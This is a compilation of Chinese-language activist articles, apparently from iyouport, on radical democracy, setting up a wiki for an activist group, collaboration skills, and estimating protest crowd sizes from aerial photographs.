按照我们赋予民众权力的标准，大多数民主国家都存在明显的缺陷，例如将大多数人排除在 “人民统治” 之外。

这些缺陷就嵌在这些民主国家的规则、宪法和程序中。

古希腊人倡导的民主制度只允许成年男性公民（非奴隶）来讨论城市的问题。在美国，经过一场激烈的革命以建立自治制度后，开国元勋受到鼓舞，保留了雅典人的 “自由男性公民” 参与限制。

但是，他们忽略了古希腊人的随机抽签过程，而是建立了选举精英的制度，以代表民众做出决定。

根据 “民主项目” 负责人 David Graeber 所说，该系统的设计目的是压制广大民众对民主的革命情绪，尤其是减少 Haudenosaunee 联盟（也称为易洛魁河联盟）的影响。

*(*注：*Haudenosaunee*，译为 *“居住在长屋的人们”*，指的是北美原住民联盟。使用易洛魁语言的北美原住民部族在今天的纽约州中部和北部逐渐形成并共同生活，在十六世纪或更早前结成联盟关系，称为易洛魁联盟，即 *“和平与力量之联盟”)*

也许有人会反驳说，随着时间的推移，民主已经通过妇女和其他以前被排斥的群体的代表权而变得更强了；土著人民、归化移民和黑人已被选入各级政府。是的，但是，事实证明，非富人—— 也就是**98%** 的人—— 仍然几乎完全被排除在决策之外，仅有的权力是选择哪些富人来为他们做决策。

在欧洲，议会制度允许左翼政党的代表性，他们承诺激进地拒绝新自由主义，对气候变化采取行动，甚至结束父权制。2015年，当这些政党组成的联盟在希腊取得政权时，我们中很多人都很激动。

然而，那些指望希腊的SYRIZA或西班牙的Podemos能够—或愿意—对抗来自全球金融精英的压力的人们，却失望了。

民主的目标与民主的现实之间的这种距离，正是许多人对民主这个词幻灭的原因。

总的来说，历史上的国家民主形式的例子几乎都限制了部分甚至大部分民众的参与 —— 据说是出于技术性或价值性的原因—— 最终都是有利于强权者保留权力。

的确，Yanis Varoufakis 喜欢讲2011年起义时一名希腊抗议者在试图进入政府大厅时被拦住的故事。当时卫兵拦住她问：”你以为你是谁？” 她回答说：”我需要是谁？”

如何使民主真实化？

「图」

> The institutionalisation of radical democracy, where everyone gets a say, is thus essential to creating lasting change. Only real democracy has the potential to simultaneously challenge the injustices of our day and assemble the building blocks of a liberated society.

不妨先提出一些问题来回答这个问题，即：

- 什么是民主？
- 我们为什么渴望民主？
- 使民主成为理想的治理形式的要素是什么？
- 我们的民主观中蕴含着哪些基本价值观念？
- 对民主的承诺将如何影响我们的日常行为？

对我们许多人来说，甚至有机会讨论这些问题都会让人感到不舒服，当然，也让人感到解放—— 这种感觉可以用 “民主 “来形容。

我们无法通过在宪法中查找这些问题，或通过任何其他程序来获得答案，除非公民彼此之间进行讨论。因此，这里有一些主题或 “民主因素”，可以编入对话中：

⚝自治 —— 参与如何才能不仅仅是一种表达意见的权利？它如何才能成为影响与个人生活和共同事务有关的决定的实际方式？

⚝ 会员与社群 —— 谁可以确定参与自治的资格，在这个过程中，在什么时候可以主张参与自治？哪些行为会让人被踢出局？

⚝ 话语权、个人自由和创造力 —— 个人如何在与他人合作创造新的可能性的同时，获得自由和支持来表达自己独特的自我？

⚝ 集体福祉 —— 如何平衡个人利益并检查对社区的利益？

⚝多元化的力量 —— 如何将传统的权力等级制度扁平化，以确保更好的、更人性化的决策和包容性的参与？

⚝审议、对话和讨论 —— 我们如何促进富有成效和尊重的对话？

上图中这本书在这里下载：https://www.patreon.com/posts/38320764

⁂协议/决定 —— 通过什么程序作出决定并记录在案？何时以及如何重新审视这些决定？

⁂ 教育和智慧 —— 新成员如何向前人学习并成为成熟的参与者？

⁂ 异议 —— 当没有达成普遍共识时，会发生什么？个人有哪些权利表达异议？这些权利的界限是什么？

⁂ 正义 —— 对他人的行为标准是什么？如何纠正错误，如何执行这些规则？

当我们获得或把握机会构成民主制度时，应该考虑到这其中的每一个问题。这些答案应反映在规范和期望的文件中 —— 有些人可能称之为规则、附则、第一原则、社区协议、宪法或社会契约。

如果每个人同时发言，或说同样的或无关紧要的话，也许仍可视为“民主”，但是，这不会成为一个愉快或有效的民主。

而一个经过深思熟虑和讨论的结构，可以防止“无结构暴政”，防止等级模式的重新出现，防止那些无法将自己的“我”留给“我们”的人霸占组织的指挥权。

- 策略《原理3: 警惕无结构的暴政》

民主是出了名的不稳定。当混乱降临的时候，强势的声音就会赢得权力，受够了的人开始分崩离析，而不是走到一起。或者说，我们只是没有站出来。

在我们的组织中，经常能看到等级制度和统治地位、橡皮图章、腐败和吸纳的重现。

当我们应该保持透明时，却经常囤积信息，或者是防御性的而不是反思性的，并且容忍滥用，因为似乎很难处理。

在努力做到正确的过程中，我们有时反而会巩固那些挫败和排挤参与者的过程，而没有意识到对变化、成长、安心和愉快的需求。

需要认识到，我们是具有行为倾向、具有文化规范和社会化态度，具有不同创伤和康复能力的人。在努力建立信任并朝着解放性社会做出积极改变时，这些影响可以被视为优势、也可能是潜在挑战。

可以通过民主社区成员的明确问责承诺，发展出旨在拆穿微妙统治的

慷慨做法。如果没有正义，我们就无法期待前进。

可持续的民主论坛有赖于组织、时间管理和规则。在没有熟悉的胁迫模式的情况下，如何执行规则也很重要。自由的愿望往往比实现这些愿望更容易达成一致 。

我们需要承认，建设民主是一个过程，评价、反馈、监督和反思都应该被纳入其中。

这些过程是必不可少的。

明确关注政治教育或体验也是一样 —— 教育的过程和参与者的演变过程，让民主智慧和承诺得以加深。

在这个新的民主实践中，还应该将指导会议、学习小组和会谈等等仅仅以学习和思考为目标的活动纳入进来。

我们还应该认识到，民主是有先决条件的。要有物质、社会和经济条件使每个人都能参与。有形条件包括为残疾人提供无障碍空间，提供儿童保育、午餐和语言翻译。

社会条件包括减少阻碍包括妇女、不符合传统性别特征的人和无学历者在内的社会边缘人实现参与。要做到这一点，可以通过制定协议和有意识的程序来消除种族主义、性别歧视、精英主义等，如亲和力强的核心小组会议、强有力的促进措施、参与建设性的“召集”，以鼓励思考、问责和转变。

我们还可以鼓励历史上曾被边缘化的人们在这个横向组织中发挥领导作用，办法是明确要求这些人发表意见，并提供机会让他们练习技能，如调解和演讲。

提出这样的问题：

“我们需要做些什么，才能使每个人，无论其经济资源、社会地位、工作时间和家庭状况如何，都能参与进来？”，这样才能有助于解决非富人被严重排斥在民主进程之外的问题。例如，冗长的会议对那些已经精疲力尽的人来说是参与的障碍。

任何人都应该需要能够平等地参与到我们的民主进程中来。

处理旧的“民主”制度

「图」

> We become a power only through organization. Against capitalist modernity's attempts to infiltrate the deepest cells of individual and social life to distort its fabric, we must organize against the system with democratic-communal values. Democracy in this sense is the free life-form of society. Since sociality is related to freedom, freedom can only be lived in spheres of democracy. Radical democracy grows society's freedom spheres. It prevents us from being suppressed and annihilated by statist systems that occupy, alienate, colonize and destroy us. Moreover, it helps us become people who can speak, discuss, decide and act on their own behalf. Radical democracy brings out human willpower. It enables people to be themselves. Such people can meaningfully contribute to their societies. To the extent to which such a person participates in society with their own different attributes, they will create diversity and increase the freedom of that society and of themselves.

许多人—— 无论是右派、左派，还是介于两者之间的人 —— 都认为，改造社会的方法是通过更多的人投票，努力选出好的候选人。他们希望当选的所谓好人能够颁布新的政策，反映出比富人和权贵们的利益更公平的规则。当然，曾经有一些候选人承诺要这样做，但是。记录并没有反映出成功。相反，我们往往会不断对他们的妥协感到失望。

许多人认为，在美国，一个据称是进步的黑人总统和国会中的民主党结合在一起，将导致新自由主义的影响不断升级 —— 紧缩、不平等和所有重要的决策都被市场因素所支配。但是，他们不仅没有阻止，反而加剧了这种影响。银行赢了，人民输了。

许多人继续寄希望于那些民选的和有希望的候选人，希望他们能想出如何取胜的办法，从内部改变一切。

然而，即使有几个进步人士有可能赢得公职，我们这些人还是希望在如何解决实际生活问题上有自己的发言权。引用 Marina Sitrin 和

Dario Azzellini 的书名那就是：“他们不能代表我们。”

我们应该认识到，尽管这些人大多是善意的，有魅力和聪明的，但是，他们根本无法解决我们所有人面临的复杂问题。

我们需要更多的想法、更多的资源、更多的力量和更多的人直接参与到致力于纠正过去的错误和为人类和其他物种的生存创造条件的民主进程中来。

虽然民粹主义候选人提高了人们的期望值，但我们完全可以努力建立一个不同的、更好的治理制度，让更多的人有发言权。现在是时候释放我们的想象力了，从下而上努力使我们的生活民主化。

现在是提出、讨论和决定我们自己的规则的时候了。

这个过程就是双重权力组合：建立民主结构，通过展示真正的民主是什么样子的，使虚伪的精英民主机构和仪式去合法化。

这些替代性的民主大会和工作组可以通过决策和寻找资源解决公民的关键需求，如住房、粮食、教育、土地、安全和文化等，来建立和重新利用权力。

然而，除非国家在自身的矛盾下崩溃，否则我们公民的民主结构将停留在合法化的国家机构的阴影之下。

国家机构无法被忽视，而是必须在可能的情况下，对国家机构进行对抗和施压，使其作出回应。这就是直接行动。

上图中这本书在这里下载：https://t.me/iyouport/6933

我们面临着一个战略问题，即：知道什么时候该跑，什么时候该躲，什么时候应该战斗。这种紧张关系将继续存在，必须加以研究。

- 在什么情况下我们的诉求才能得到认可，才能让政府做出回应？
- 这些要求何时注定是徒劳无功的、疲于奔命和被人利用的？
- 我们什么时候可能会面对镇压和惩罚以暴力手段来回应挑战政府？
- 我们什么时候可以成功地维持我们的替代方案，什么时候需要尝试去获取国家垄断的部分资源？
- 我们能否在听证会上和民选官员的走廊上提出要求，同时又能为自己的民主集会保留足够的精力？

- 在某些特殊情况下，我们可能会支持进步政治家的政策倡议，同时让他们对自己的承诺负责。

或许我们可以考虑一下“立场“与要求的概念。立场既是一个姿态，也是一个地方。我们的立场是为了表达愿望和信仰，但它也是一个让我们可以喝柠檬水，聊天气、棒球、孩子和政治的地方。它是一个公共的、但又安全的地方，让我们在这里欢聚一堂，满足需求，交流信息、表达意见、产生想法和制定计划。

立场没有开头、中间和结尾 —— 只要柠檬水没有用完就好。只要我们有柠檬，就可以做柠檬水。而我们的民主运动的柠檬水，是我们对解放的承诺和关怀的伦理。〇

Author：Cora Roelofs is an adult child of political scientists, an activist with *Symbiosis*, a public health researcher, and a writer. She authored ROAR's tribute to International Women's Day in 2019.

1. 行动技巧 (9)

原文

（9）活动家团队如何建立自己的维基站点？ - iyouport

行动技巧、战术和原理

（2020年8月25日存档）这里是完整的流程，尤其是评估方式，做为前提很重要

如今人们都知道Wiki是什么。它是一个很适合团队协作的模式。

用户可以享受有关特定主题的所有内容，如果获得许可，就可以通过协作来编辑和添加他们自己的知识在里面。内容中记录的任何错误都可以快速得到修复并保持最新状态。

公民社会组织和活动家团体如果能有自己的 Wiki，将在很大程度上促进联合、凝聚参与者的热情，并取得不断进步。

本文将介绍如何做到这件事。但首先需要讲述的是，在创建之前您思考哪些问题，这很重要。

创建自己的Wiki之前要考虑的事项

「图」

创建一个Wiki并不像人们想象的那么困难。您真正需要的只是一个想法、互联网访问、和托管网站。但是，任何希望创建成功的人都需要在开始之前了解一些事。

Wiki 是适合这份工作的工具吗？

「图」

Wiki 使团队可以轻松地在项目上进行协作，共享笔记和想法以及贡献资源。它是捕获不断发展的信息的理想选择，但也可以用于共享笔记并基于多个角度比较参与者的想法。

☞ 为了确保 Wiki 是满足您需求的最佳工具，您需要为以下问题建立可靠的答案：

- 这项工作是严格的单项工作还是需要团队参与的项目？
- 通过使 Wiki 中提供的信息可供更多的受众使用，团队会从中受益吗？
- 您将来需要在这个项目上进行合作吗？
- 该项目是静态的还是随着发现更多信息而不断继续发展的？

对于那些未解决的或不确定的任何问题，Wiki 可能不是满足您需求的最佳项目。Wiki 必须发展，因为它们不能作为静态文档使用。如果您的组织和项目并不期待发展，那么我会建议您使用一个博客。

为了获得成功，Wiki 还应该拥有一个团队。从长远来看，向公众开放肯定会使项目受益，因为可以随时随地获得更新的信息。但如果您打算在同事之间共享 **敏感知识**，那么 Wiki 绝对不是您想要的。

您需要能回答上述问题，再决定 Wiki 是否对您的组织和策划有益。

软件和托管选项

「图」

明确 Wiki 的用途后，您就可以决定软件和托管选项了。您可以随意使用许多内容，您创建 Wiki 的目的可以帮助您确定前进的正确选项。

低预算团队可能更喜欢采用 Wikia，WikiDot 和 MediaWiki 之类的免费方法。这些特定的托管站点使您可以从头开始构建 Wiki。诸如 Central Desktop 和 Same Page 之类的付费选项将为您提供立即开始所需的工具和模板。

您可以使用 WikiMatrix 这个站点，它可以帮助您比较选择以找到适合您需求的最佳 Wiki。对于私人托管的 Wiki，某些站点通常会提供可帮助您入门的软件，例如 TikiWiki（免费）和 Twiki（一次性付费）。

侦察其他 Wiki

「图」

模仿可能是最大的奉承。但不幸的是，在文档业务中，这也可以视为盗窃。您应该专注于成为有关给定主题的唯一信息来源。

通过检查每个 Wiki 托管站点，查找重复项。在已经涵盖的主题上创建一个“新的” Wiki 是毫无意义的。**Wiki** 是用于协作的，因此，您需要让自己提供的信息比已经建立的站点上提供的信息更多。

如果您喜欢其他人的 Wiki 设置的外观，请不要害怕复制那里提供的样式和模板。内容复制是盗窃，复制外观可不是。只要确保您的 Wiki 在内容和外观上都保持一致，就不会使观众感到困惑。

确保团队成员达到标准

「图」

通过提供有关如何使用 Wiki 提供的工具的培训，可以使新成员感到更自在。请允许矛盾程度更高的成员编写和编辑 “实践” Wiki，直到他们对自己的能力更有信心为止。

如果成员们事先学习了一些基本的 Wiki 用法，那么他们的文章创建效率将会大大提高。这样可以轻松进行页面编辑，而无需任何指导。

一个强大的团队将保证一个强大的 Wiki，使其更有可能成功。

创建后的提示

「图」

- 创建Wiki后，最好对站点的可用性和可读性进行测试。邀请少量用户测试网站，并在 “上线” 之前提供足够的反馈。
- 整个 Wiki 将从既定的政策指南中受益匪浅。布置其他贡献者的一般规则，以便他们掌握有关如何将 Wiki 呈现给读者的技巧。
- 根据团队和参与人员的规模，Wiki 可能会充斥虚假的或不相关的信息。考虑任命至少一位负责人，以剔除这些不必要的信息，确保正确的信息位于正确的位置，并防止成员之间的编辑冲突。
- 推动社区内那些仍然敬业和积极的成员。如果您发现了对完成工作充满热情的人，就可以通过授予他们对网站的更多控制权来表示赞赏。

维持和发展

「图」

Wiki 是实时文档，因此必须对其进行维护以使其顺利发展。通过奖励您的团队成员和协作社区的成员，将鼓励他们获得 Wiki 的所有权并保持最新。

创建了自己的 Wiki 后，请充分了解它，以继续其增长。在论坛、社交媒体、YouTube 等媒介上进行推广。这可以将更多的访问者推到您的 Wiki，并且可能会有更多的合作者愿意看到它的兴旺发展。

好了，下面我们将介绍您可以如何完成这项工作。

如何制作自己的 **Wiki** 页面

「图」

在创建Wiki网站之前，您需要选择托管方式。有很多选择，取决于您愿意投入多少。免费选项包括 Windows SharePoint，MediaWiki 和 Wikia，它们使您可以从头开始创建自己的 Wiki 网站。

如果您有足够的资金，像 Same Page 这样的付费服务将为您提供工具和一些模板，以帮助您入门。对于想要在企业或个人服务器上托管私有 Wiki 的任何人来说，TikiWiki 是一个不错的选择。

由于 Wiki 是一个不断发展的网站，同事和陌生人可以集中精力进行协作，因此 Google Sites 甚至 WordPress 都可以是潜在的宿主。

您将根据自己需要 Wiki 的原因、将要参与该项目的人数、以及要花多少时间专门用于站点的设置和维护，来做出选择。对于拥有网站的任何人来说，安全性都应该是一个关注点，尤其是在自托管时。

下面的部分将使用 Wikia（也称为 FANDOM）进行演练。

开始创建一个 **Wiki** 页面

「图」

FANDOM 通常被视为主要由媒体和娱乐相关主题的 Wiki 集合。但对

于初学者来说，它也非常易于使用。

在这里，与历史事件和具有政治倾向的事物相比，您更有可能找到基于流行电影、受欢迎的漫画人物和视频游戏的 Wiki。但是，Wiki 就是 Wiki，您应该能够制作出适合您需要的 Wiki。

现在开始：

- 滚动到 **WIKIS** 选项卡，然后单击 **START WIKI** 按钮。
- 确定您的 Wiki 的名称、域名和首选语言。完成后单击 “下一步”。
- 此时，如果您尚未登录，则需要登录。对于需要帐户的用户，您可以选择通过社交媒体帐户登陆，也可以填写标准注册表。
- 接下来，您需要为 Wiki 添加描述，以使读者知道它的含义。在点击 **CREATE MY WIKI** 之前，选择适合的主题以及您认为有必要的其他类别。
- 在这里，您可以为 Wiki 选择一个模版。有几种不同的选择，主要是更改页面背景、文本框和字体的颜色。
- 您可以随时更改此设置，您的选择不会一成不变。
- 选好后单击 **SHOW ME MY WIKI**
- 您会看到一个小的祝贺窗口，它将询问您是否要开始创建新页面。我们现在暂时跳过此步骤，而将注意力集中在主页上。
- 点击右上角将其关闭即可

现在该做什么

「图」

Wiki 的主页上有一个菜单栏，其中包含几个不同的标签，您需要在继续操作之前对其进行熟悉。

「图」

菜单栏包含三个重要部分，我们用不同颜色来指示它们。

1、红色部分

在 Wiki 开发的早期阶段，菜单的这一部分不太重要。而一旦添加了内容，您的社区不断壮大，并且随着 Wiki 的扩展，它将变得越来越重要。

「图」

- Popular Pages—将向您显示在您的 Wiki 上最常被访问的页面。
- Community—显示您的 Wiki 社区中发生的对话以及已撰写的最新内容。
- Explore—您可以跳至 Wiki 中的随机页面，查看 Wiki 上发生的事，并查看已发布的所有图像和视频。
- Main Page—快速回到主页。

2、绿色部分

这一部分在开发的所有阶段都很重要，此菜单提供了有助于 Wiki 持续增长的有用选项。

「图」

- （1）Add new page – 任何 Wiki 的基础都是不断添加新页面的能力。每个新页面都会为您的读者提供有关该主题的新信息。您会经常点击此图标。
- (2) Wiki Activity—单击此图标将把您带到最近进行 Wiki 活动的页面。这可以是添加到现有页面的其他信息、新创建的页面或社区的评论。
- (3) Admin Dashboard—您可以在此处找到有关 Wiki 的任何需要了解的或可以访问的信息。
- “General” 选项卡提供对从主题设计和CSS选项到完整用户列表的所有内容的访问，该列表具有对基本内容进行编辑等权限。“高级” 选项只是细分为较小的指定链接，以加快访问速度。
- (4) More Menu—将新图像和视频添加到 Wiki，并查找最近发生的任何更改。

「图」

您会在此部分的左侧看到一个页面计数器。这将跟踪您的 Wiki 当前公开显示的页面数量。

3、黄色部分

黄色部分包含特定于您正在处理的任何页面的链接。

- Edit—应该是不言自明的。此按钮将允许您编辑当前页面。默认情况下，您会获得文本编辑器的可视化版本。稍后再详细介

绍。
- Dropdown Menu—该菜单包含一些不同的链接，在接下来的步骤中可能会非常重要。在这里，您可以重命名页面，保护页面（和特定部分）免受进一步的编辑，删除页面，甚至编辑外观以显示移动设备的外观。还有一个使用经典编辑器的选项。

主页的第一步

「图」

主页应包含与 Wiki 主题相关的内容。这包括添加一小段文字，向读者详细说明您的社区是关于什么、以及他们可以在其中找到什么。

要开始进行一些编辑，请单击前面讨论的黄色部分中 **EDIT** 按钮。您的页面应类似于下图。

稍后我们将探讨可视化编辑器和源编辑器之间的区别。现在我们将继续使用可视化编辑器，因为它是对初学者更友好的选项。

除了可视化编辑器菜单栏外，您还将在页面左上方的简介标题上面看到一些内容「**mainpage-leftcolumn-start** /」。熟悉网页设计的任何人都会将其识别为类似于「div」的标记，表示页面上某节或某列的开头。

向下滚动，您会看到类似的文本「**mainpage-leftcolumn-end** /」，它表示 Wiki 页面上某个部分或某列的结尾。本文中编写的所有内容都将位于主页最左侧的列中。

请保持这些标签不变。如果将其删除可能会导致设计在所有设备和浏览器上的外观出现问题。请记住，丑陋的首页可能会导致观看人数减少。

可视化编辑器与源编辑器

「图」

可视化编辑器的使用允许在编辑器的给定参数内设置简单模式内容。这意味着您只能在编辑器允许的范围内控制内容的编辑方式。数量很少，但对于初学者来说，它可以是最顺手的。

要使用源编辑器，鼓励您更多了解 Wikitext，以充分利用其提供的所

有内容。与可视化编辑器相比，使用源编辑器将为您提供更多的页面外观和内容控制，以及页面上放置的内容。

这就是它俩的关键区别。关于，您是否愿意在有限的沙箱中玩游戏还是对 Wiki 有更大的野心需要更多的控制？

模版

「图」

添加到源代码编辑器列中的另一个提示是可以创建和保存自定义模板。然后，可以使用这些模板在整个 Wiki 上创建页面保持一致性，而无需从头开始重做每个页面。

要了解有关模板的更多信息，FANDOM 帮助部分提供了全面的演练，可以帮助您入门。

用户管理

「图」

为了使它不断发展壮大，需要在 Wiki 中添加多个贡献者。建立团队后，您可以将人们分别添加到 Wiki 中，为他们提供特定的用户权限。

要做到这点：

- 导航到管理员，然后单击 “社区” 部分中的 “用户权限”。
- 输入要添加到 Wiki 的用户名，然后单击 “编辑用户组”。 您要添加的团队成员必须先注册一个帐户，然后才能添加。
- 选中要添加用户的组的复选框，提供进行更改的原因（可选），然后单击“保存用户组”。

完成了！并不复杂吧，您可以试试看。最重要的是，这取决于您的目标和组织的策划。一切顺利。〇

1. 行动技巧 (10)

原文

（10）直接行动的关键在于协作，但协作的能力并非天生 - iyouport

社会反抗和思考行动技巧、战术和原理

（2020年8月6日存档）人的一生中可能需要学习很多东西，但是，孤独和冷漠不需要学习，它是天生的；而协作的能力可不是天生的，协作不仅是一门学问，而且需要每个人克服很大的障碍以突破自己的 umwelt，才能实现……

挑战是生活中最随处可见的现实。人们一直在不断地处理 *需要他人* 投入的问题。民主就是一个协作协商的过程。

在现代世界中，人们面临着形形色色范围广泛、影响规模巨大的问题 —— 每时每刻都在尝试理解和识别与气候变化、网络安全、或专制政府有关的潜在解决方案。

但是人们通常并非天生就有协作解决问题的能力。实际上，关于团队的一个著名说法是：一群专家组成的团队并不构成 “专家团队”。

上图中这份手册在这里下载：https://t.me/iyouport/6779

协作是行动的基础。没有人能够是全能的，一项事业必需有各领域的良好协作才能完成。

令人不安的是，有证据表明，在大多数情况下，人们根本没有被传授过协作的技能。美国管理协会（American Management Association）在2012年进行的一项调查发现，高层管理人员认为，刚毕业的大学生都缺乏协作能力。

甚至更糟的是，大学毕业生似乎高估了自己的能力。2015年的一项调查发现，近三分之二的应届毕业生认为他们可以有效地在团队中工作，但只有三分之一的经理勉强同意这点。

悲剧性的讽刺是，您的能力越差，您对自己能力的自我评估就越不准确。这个臭名昭著的达克效应也很容易发生在团队合作中。

也许不足为奇的是，在2015年对成千上万学生的国际评估中，只有不到10%的学生在最高水平的合作中表现出色。

而绝大多数学生无法克服团队合作障碍或难以解决冲突。

他们无法观测团队动态或采取必要的行动来确保团队成员根据其角色进行互动。

鉴于多年来所有这些学生都有在学校内外进行小组学习的机会，这表明在获取协作技能方面存在全球性缺陷。

那么如何解决这种不足呢？是什么让一支团队有效而另一支团队失败呢？

教育工作者如何改善协作式解决问题的培训和测试？

研究团队合作过程的专家提出了3点建议。

应该如何工作

「图」

在最一般的层面上，协作式问题解决要求团队成员建立并保持对他们所面临的情况以及已确定的任何相关问题要素的共同理解。

刚开始时，团队中的知识分配通常不均衡。成员必须保持沟通，以帮助彼此了解谁知道什么，以及彼此帮助解释问题的要素和应采用的专业知识。

- 不要错过《为什么你的队友之间不会分享知识？》

然后，团队可以开始工作，根据成员角色布置子任务，或者创建机制来协调成员行动。他们会批评可能的解决方案，以确定最合适的前进道路。

最后，在更高的层次上，协作式问题解决需要使团队保持组织化——例如，通过观测交互并相互提供反馈。

团队成员至少需要基本的人际交往能力，以帮助他们管理团队内部的

关系（如鼓励参与）和沟通（如倾听和学习）。

更好的能力是能够采取他人的观点，以便考虑问题要素的替代观点。

无论是组织中的专业团队还是解决复杂的科学问题，清楚地沟通、管理冲突、了解团队中的角色、以及了解谁知道什么的能力和经验，都是与有效团队合作有关的协作技能。

教育出了什么问题

「图」

当如此多的学生不断参与小组项目或协作学习时，为什么他们学不到团队合作的技巧呢？

有一些相互关联的因素可能会导致人们协作能力很差却认为自己在团队合作方面相当出色。

由于普遍缺乏系统性的指导以及反馈不足的危险组合，令人们大大高估了自己的协作技能。

一方面，学生在高中和大学中会从事大量的团队工作。而另一方面，学生们很少会收到有关协作如何有意义的指导、建模和反馈。

数十年的教学研究表明，明确的指导和反馈对于掌握知识至关重要。

尽管实施协作解决问题的课程确实提供了一些指导和反馈，但不一定与团队合作有关。那些能迫使人们明确地反思自己与他人合作的能力的东西不存在。

更好的合作

「图」

现在我们已经确定了问题，那么该怎么办呢？百年的团队培训研究与数十年的课堂小组学习研究相结合，为未来指明了方向。

首先，最紧迫的是要在世界各地的教室中进行团队合作方面的培训。至少，这需要在大学本科教育期间发生，但更好的做法是从高中或更早开始。

作为反抗者，您可能无法指导教育体制，于是反抗组织负责人应该致

力于在团队内部教授这方面的知识和技巧，并以身作则带动队友的协调能力。

这依旧需要组织者自己接受过专业的培训，并有意地在尝试过程中积累经验。

研究表明，协作能力是可以教授的，例如处理冲突和交流学习。研究人员和参与培训的工作者本身需要协作，才能将这些方法应用于课堂。

其次，人们需要有练习的机会。尽管大多数人已经有过团队工作的经验，但这需要超越书本理论。

实践中还需要学习跨学科的工作，因此可以实现跨专业解决复杂的社会问题。

第三，任何系统的指导和实践设置都需要包括反馈。这不仅仅是关于人们是否解决了问题或在学习课程内容方面是否做得很好的反馈。

相反，它需要有关推动成功协作的人际交往能力的反馈。

讲师应评估学习者的团队合作过程，例如 关系管理（鼓励彼此参与），以及在沟通上如何才能积极倾听队友的交流技巧。

更好的反馈是告诉人们如何才能很好地理解另一门学科的队友的观点。例如，工程专业的学生是否能够与法学专业的学生合作并理解新技术实施的法律后果？等等。

关于如何进行协作的明确指导、实践机会、以及有关协作过程的反馈将更好地帮助今天的人们做好准备，以共同解决明天的问题。

最后送您一首歌，Pentatonix 演绎的“ the sound of silence”。Pentatonix 团队也是协作的杰作之一 —— 这是关于种族、宗教信仰、性取向、性别、和政治立场皆不同的一群人，如何合作出优美的艺术作品。当您为合作难度过大而苦恼的时候，听听他们的歌曲吧，也许会有所启发。〇

1. 行动技巧 (11)

原文

（12）到底有多少人参加游行？当媒体和警方的数字都是错误的时，如何估算 - iyouport

开源情报-每个人都可用的武器行动技巧、战术和原理让它民主-公民掌握真相的技巧和技术

（2019年6月11日存档）你经常会看到活动家、主流媒体、警方和当局对游行人数的报告存在很大的差异，严重干扰了行动者的影响力。这种情况下怎么办？本文介绍一个小技巧，用一个最简单的开源调查以反驳主流媒体和警方当局的掩盖

俄罗斯议会目前正在讨论一项将在俄罗斯建立“自治互联网”的新法律。该网络将不再依赖在其他国家/地区托管的服务器和服务。

俄罗斯的反对者就此提出了抗议。英国广播公司报道说：

俄罗斯有数千人抗议在互联网上实施更严格限制的计划。上个月议会支持这项备受争议的法案后，莫斯科的大规模集会以及其他两个城市的类似示威活动开启。

政府表示，该法案允许它将俄罗斯的互联网服务与世界其他地区隔离开来，这将“改善网络安全”。但是活动人士说，这是一种增加审查制度和扼杀异议的尝试。

活动人士说，周日有超过*15,000*人聚集在莫斯科，这是警方估计的数字的两倍。

路透社的数字略有不同：

据参加集会的非政府组织 *White Counter* 称，这次集会聚集了大约*15,300*人。莫斯科警方将这一数字定为*6,500*。

这些报告通常用于宣传目的，并且通常是错误的。 2月22日，英国寡头 Richard Brenson 在哥伦比亚库库塔组织了一场音乐会。虽然哥伦

比亚当局声称“有超过40万人参加”，但“新闻报”报道超过30万人，华盛顿邮报则称有20万人在场。

通过使用航拍图片和科学人群密度测量，blacklistednews 证明不到2万人参加了音乐会。之后，“华盛顿邮报”默默地删除了其20万的报道。

对于俄罗斯这场运动，英国广播公司提供了两张照片。

请注意，两张照片展示的都是相对紧凑的正面镜头。从正面检查人群大小是不可能的。曼彻斯特城市大学人群科学教授 G. Keith 也注意到了密度估计：CCTV角度越低，密度越高。

2015年的一个案例已经显示了这种正面照片是多么具有误导性。就是下面这样：

下面是莫斯科“群众集会”的航拍图。

该图片允许非常准确的人数估计。因为主干道车道的宽度为3.3至3.6米（11–12英尺）。照片中的街道有十条车道和一条1米的中央分隔带，因此该游行的正前方是37米。

可以使用与车道宽度的比较来测量人群的密度。细节图片分析显示，在前7米处有一个中等密度的人群，每平方米约2.5人，接下来的7米，每平方米的轻中密度为1.5人。除此之外的人数可能总共约300人。

可以这样计算：

37m * 7m * 2.5 ppl/m2 + 37m * 7m * 1.5 ppl/m2 + 300 ppl = 1.336 人

即使我们假设前区的密度高达 3.5 ppl / m2，后面区域的密度为 2.5 ppl / m2，而后方区域有500人混合，总共只有2,054人。

莫斯科市拥有1700万人口，周围还有300万人口。 2,000名抗议者占其人口的0.01％。将密度增加三倍才能达到警方估计的6.500人、或莫斯科居民的0.0325％。

通常情况下克里姆林宫总会把数字往少处说，为什么这次不同？可能需要对当局的意向有所怀疑。〇

1. 行动主义 (13)

原文

（13）超越抗议 - iyouport

免费书和纪录片行动技巧、战术和原理

（2019年12月13日存档）回想你参与过的抗议活动，有哪些取得了成功？它们改变了什么？这个世界正在因此变得更好吗？如果不是，有没有想过，问题出在哪里？

我十四岁的时候参加了第一次抗议活动。那是一场温文尔雅的抗议在我当时居住的马里兰州郊区。

那是1969年10月15日—第一次反越战抗议— 我和大约25个人站在街角，要求结束美国在越南的战争。

我们宣读了美国战死者的名字。在那场抗议活动中，我是六名高中生参与者的一员。

其余参与者还包括附近的大学生、当地天主教高中的修女、和几位参与过世界大战的退伍军人。

大多数乘车经过此地的人都不知道发生了什么，就这么走过去了忽略了我们。一些人向我们展示了支持和平的信号，还有更多的人大声喊叫着给我们起绰号。

随着岁月的流逝，我参加了许多次抗议活动。

其中有些抗议是和平的，有些则涉及与警察和右翼抗议者发生的推搡冲突，还有一些涉及相当激烈的战斗，包括投掷石块、铺设路障、催泪瓦斯、警棍和橡皮子弹。

然而，关于曾经这些抗议活动的有效性问题，如今仍是未知的。

我真的相信没有任何方法能让完全非暴力是战术问题而不是道德问题。与此同时，对于抵抗执政权力的目标来说，似乎也没有什么比非暴力抗议看起来更简单的了。

当公民群体考虑如何表达自己对统治阶级施加的某些政策或统治阶级

本身的反对态度时，总是有许多因素在起作用。

正如任何组织者所告诉你的那样，关于如何在特定时刻采取最有效的手段，是一种挑战。即 行动策划。

策划所涉及的过程包括了解情况、反对意见、以及期望的结果。有时会失败，也有时就能成功。

换句话说，有时，作为反对派一起工作的不同个人和团体有希望形成联盟以制定出具有胜算的战略；而其他时候，没有真正的团结存在，难以成功。

这正是加拿大活动家和作家 Aric McBay 的新书中所表述的主题。

